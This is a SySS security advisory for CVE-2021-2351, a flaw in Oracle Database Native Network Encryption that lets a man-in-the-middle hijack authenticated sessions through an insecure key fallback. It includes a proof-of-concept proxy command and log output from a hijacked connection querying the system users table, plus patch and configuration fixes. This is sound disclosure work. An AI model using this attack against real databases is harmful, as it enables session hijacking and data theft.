Product: Database
Manufacturer: Oracle
Affected Version(s): 12.1.0.2, 12.2.0.1, 19c
Tested Version(s): 18c
Vulnerability Type: Protection Mechanism Failure (CWE-693)
Risk Level: High
Solution Status: Fixed
Manufacturer Notification: 2021-03-17
Solution Date: 2021-08-07
Public Disclosure: 2021-12-10
CVE Reference: CVE-2021-2351
Author of Advisory: Moritz Bechler, SySS GmbH
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Overview:
Oracle Database is a general purpose relational database
management
system (RDMBS).
The manufacturer describes the product as follows (see [1]):
"Oracle database products offer customers cost-optimized and
high-performance
versions of Oracle Database, the world's leading converged,
multi-model
database management system, as well as in-memory, NoSQL and MySQL
databases.
Oracle Autonomous Database, available on premises via Oracle
Cloud@Customer
or in the Oracle Cloud Infrastructure, enables customers to
simplify relational
database environments and reduce management workloads."
To protect the client/server communication, a proprietary
security protocol
"Native Network Encryption" (NNE) is used.
A TLS-based alternative can optionally be configured.
Due to insecure fallback behavior, a man-in-the-middle attacker
can bypass
NNE's protection against man-in-the-middle attacks and hijack
authenticated
connections. In some configurations, a full man-in-the-middle
attack is
possible.
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Vulnerability Details:
To mitigate against man-in-the-middle attacks on the initial
Diffie-
Hellman key exchange, the protocol implements the mixin of an
additional
shared key that is established by the authentication protocol
(typically O5Logon). This relies on the fact that both client and
server
have knowledge of the user password (hash), which a potential
attacker
does not have.
For more details on the protocol, refer to our paper [4].
SySS, however, found out that the JDBC Thin client
implementation did
not implement that fold-in and its connections were still
accepted
by database servers. The server performs a fallback to the
initial
session key if the decryption/integrity check fails.
That original key is known to an attacker who has performed a
classic
man-in-the-middle attack against the initial Diffie-Hellman key
exchange.
For JDBC Thin client, this allows direct observation and
manipulation
of the application level traffic, as both parties still use the
original keys.
Nevertheless, other clients, which implement the authentication
key fold-in,
are still vulnerable. While the client expects a different session
key
after authentication has completed, it can simply be
dropped/ignored.
The server side of the connection at this point is already
authenticated
and communication is still possible due to the key fallback. This
grants
access to the database system as the original victim user.
This attack is successful in all known configurations, except if
TLS
security is used.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
For protocol analysis and attacks, SySS built a proxy server
implementing
the database protocol fundamentals and NNE. The proxy can perform
a
man-in-the-middle attack against the Diffie-Hellman key exchange
during
NNE negotation. Then, the necessary translation and adjustment
between
the client and server, which are now using different session keys,
is
performed.
Launching the proxy and redirecting a client connection to it,
the
man-in-the-middle attack is performed. The encrypted part of the
further
protocol negotiation can be observed, including the authentication
exchange.
Then, the client is dropped, and the proxy sends a predefined query
to the
server.
The following log excerpt shows an OCI client (21.3) connecting
as the
system user. The connection is hijacked and the system user table
is
queried by the attack proxy.
> ./mitm.py --targethost 172.17.0.1 --mitmDH
--hijackConnection
[...]
|###[ Service ]###
| serviceId = encryption
| numParameters= 2
| unknown1 = 0
|###[ EncryptionResp ]###
| version = 12000000
| algo = AES256
|###[ Service ]###
| serviceId = integrity
| numParameters= 8
| unknown1 = 0
|###[ IntegrityResp ]###
| version = 12000000
| algo = SHA256
| len1 = 0800
| len2 = 0800
| generator = [...]
| prime = [...]
| public = [...]
| rand = 666F6F206261722062617A206261742071757578
[...]
DEBUG:root:Forward server -> client
DEBUG:root:Received encrypted payload [...]
[...]\x0cAUTH_USER_ID\x01\x00\x00\x00\x019\x00\x00\x00\x00\x0f\x00\x00\x00\x0fAUTH_SESSION_ID[...]
[authentication completed at this point]
INFO:root:Initially hijacking connection
[...]
DEBUG:root:Received encrypted payload [...]
INFO:root:###[ TTIMsg ]###
TTCode = 8
###[ RPA ]###
outNbPairs= None
\nbPairs \
|###[ KVPair ]###
| keyPtr = None
| key = b'\x00VOracle Database 18c Express Edition Release
18.0.0.0.0 - Production\nVersion 18.4.0.0'
[...]
INFO:root:b'[...]+select DISTINCT username FROM
sys.all_users[...]
INFO:root:Send encrypted payload [...] len 368
[...]
DEBUG:root:Received encrypted payload [...]
INFO:root:###[ TTIMsg ]###
TTCode = 6
###[ Raw ]###
load =
'[...]\x07\x06DBSNMP\x07\tAPPQOSSYS\x07\nGSMCATUSER\x07\x05GGSYS\x07\x03XDB[...]'
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Update the Oracle Database servers and clients to the patched
versions.
Enforce usage of a secured protocol version by setting the
following options:
SQLNET.ALLOW_WEAK_CRYPTO_CLIENTS=FALSE (server-side)
SQLNET.ALLOW_WEAK_CRYPTO=FALSE (client-side)
Or use TLS-based transport security instead of Native Network Encryption.
More information:
https://www.oracle.com/security-alerts/cpujul2021.html
https://support.oracle.com/rs?type=doc&id=2791571.1 (customer
account required)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2021-03-02: Vulnerability discovered
2021-03-17: Vulnerability reported to manufacturer
2021-07-20: Initial patch release by manufacturer,
2021-08-07: Final patches released by manufacturer
2021-12-10: Public disclosure of vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for Oracle Database
https://www.oracle.com/database/
[2] SySS Security Advisory SYSS-2021-061
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-061.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
[4] Paper "Oracle Native Network Encryption"
https://www.syss.de/fileadmin/dokumente/Publikationen/2021/2021_Oracle_NNE.pdf
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Moritz Bechler of SySS GmbH.
E-Mail:
Public Key:
https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E CCC2 768E FE2B B3E5
3DDA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided
"as is"
and without warranty of any kind. Details of this security advisory
may
be updated in order to provide as accurate information as possible.
The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
